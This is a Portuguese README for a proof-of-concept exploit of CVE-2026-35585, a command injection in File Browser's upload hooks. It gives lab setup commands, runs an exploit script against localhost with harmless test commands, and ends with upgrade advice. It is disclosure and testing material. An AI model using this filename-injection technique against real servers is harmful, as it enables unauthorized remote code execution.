
Prova de conceito de exploração para CVE-2026-35585, uma vulnerabilidade de injeção de comandos do sistema operacional no File Browser (versões 2.0.0 a 2.33.1). Inclui scripts de PoC baseados em Python e navegador para execução remota de código através de uploads de arquivos maliciosos.
Este repositório é uma Prova de Conceito (PoC) da vulnerabilidade crítica de injeção de comandos do SO CVE-2026-35585, descoberta no File Browser (versões 2.0.0 a 2.33.1).
Esta vulnerabilidade reside na funcionalidade "Custom Command Hooks". Como as variáveis de ambiente como $FILE e $USERNAME não são devidamente sanitizadas durante a execução do shell, utilizadores autenticados com permissão de upload de ficheiros podem executar comandos arbitrários no sistema anfitrião utilizando nomes de ficheiro maliciosos.
Descoberto por: saku0512 (https://github.com/Saku0512)
Este projeto destina-se exclusivamente a fins educacionais e testes de segurança éticos.
O autor não se responsabiliza por qualquer uso indevido, dano ou atividade ilegal decorrente desta ferramenta. O acesso não autorizado a sistemas informáticos é ilegal. Ao utilizar este software, concorda em realizar testes de segurança apenas em ambientes para os quais tenha permissão explícita.
No File Browser, um administrador pode configurar hooks como "After Upload". Quando estes hooks são executados, a aplicação invoca comandos de shell e substitui variáveis como $FILE pelo nome real do ficheiro. Se o nome do ficheiro contiver metacaracteres de shell (como ;, &, |), estes não são devidamente escapados e são interpretados pelo shell do sistema, permitindo a execução de comandos arbitrários.
Esta secção descreve os passos para replicar a Execução Remota de Código (RCE) utilizando o ambiente fornecido e o script de exploração.
Utilize o Docker Compose para iniciar o ambiente vulnerável (File Browser v2.33.1). Na primeira execução, como data/filebrowser.db não existe, é necessário inicializar a base de dados do File Browser antes de configurar os hooks.
# Definir permissões adequadas no diretório data
mkdir -p data && sudo chown -R 1000:1000 data
# Inicializar a base de dados
docker run --rm -v "$(pwd)/data:/database" filebrowser/filebrowser:v2.33.1 /bin/filebrowser config init --database /database/filebrowser.db
# Adicionar utilizador admin / admin
docker run --rm -v "$(pwd)/data:/database" filebrowser/filebrowser:v2.33.1 /bin/filebrowser users add admin admin --perm.admin --database /database/filebrowser.db
# Configurar shell para "sh -c"
docker run --rm -v "$(pwd)/data:/database" filebrowser/filebrowser:v2.33.1 /bin/filebrowser config set --shell "sh -c" --database /database/filebrowser.db
# Adicionar comando After Upload
docker run --rm -v "$(pwd)/data:/database" filebrowser/filebrowser:v2.33.1 /bin/filebrowser cmds add after_upload 'echo Uploaded: $FILE' --database /database/filebrowser.db
# Iniciar o contentor
docker compose up -d
Se data/filebrowser.db já existir, config init não é necessário. Se o utilizador admin já existir, redefina a palavra-passe com o seguinte comando em vez de users add:
docker run --rm -v "$(pwd)/data:/database" filebrowser/filebrowser:v2.33.1 /bin/filebrowser users update admin --password admin --database /database/filebrowser.db
Para alterar a configuração dos hooks após o contentor estar em execução, pare-o com docker compose stop, execute os comandos de configuração e, por fim, inicie novamente com docker compose start para evitar bloqueios no SQLite.
Execute o script exploit.py para automatizar o login e o upload de um ficheiro malicioso. O comando abaixo tenta criar um ficheiro chamado pwned_rce_test no diretório /tmp do contentor.
# Instalar dependências
pip install requests
# Executar o exploit
python3 exploit.py -t http://localhost:8080 -u admin -p admin -c "touch /tmp/pwned_rce_test"
Verifique se o ficheiro foi criado dentro do contentor para confirmar a execução bem-sucedida do comando.
docker exec -it cve-2026-35585-vuln-app ls -l /tmp/pwned_rce_test
Se o ficheiro existir, a RCE está confirmada.
O exploit.py existente funciona diretamente. Se preferir uma experiência mais interativa, pode utilizar o guia de PoC no navegador incluído.
Execute os passos da secção "1. Configuração do Ambiente e Configuração Inicial" acima e garanta que consegue aceder ao File Browser em http://localhost:8080.
python3 browser_poc.py
Abra o seguinte endereço no navegador:
http://127.0.0.1:8090/
http://localhost:8080.admin / admin e obtenha o token da API do File Browser.id > /srv/pwned_browser_rce.txt./srv/pwned_browser_rce.txt através da API do File Browser e confirme o resultado da RCE na interface.O diretório /srv está montado neste repositório no docker-compose.yml; portanto, se bem-sucedido, o ficheiro pwned_browser_rce.txt também será criado no lado do anfitrião.
Atualize o File Browser para a versão 2.33.8 ou superior. Na versão corrigida, a funcionalidade de hooks é desativada por predefinição e a expansão de variáveis é processada de forma mais segura.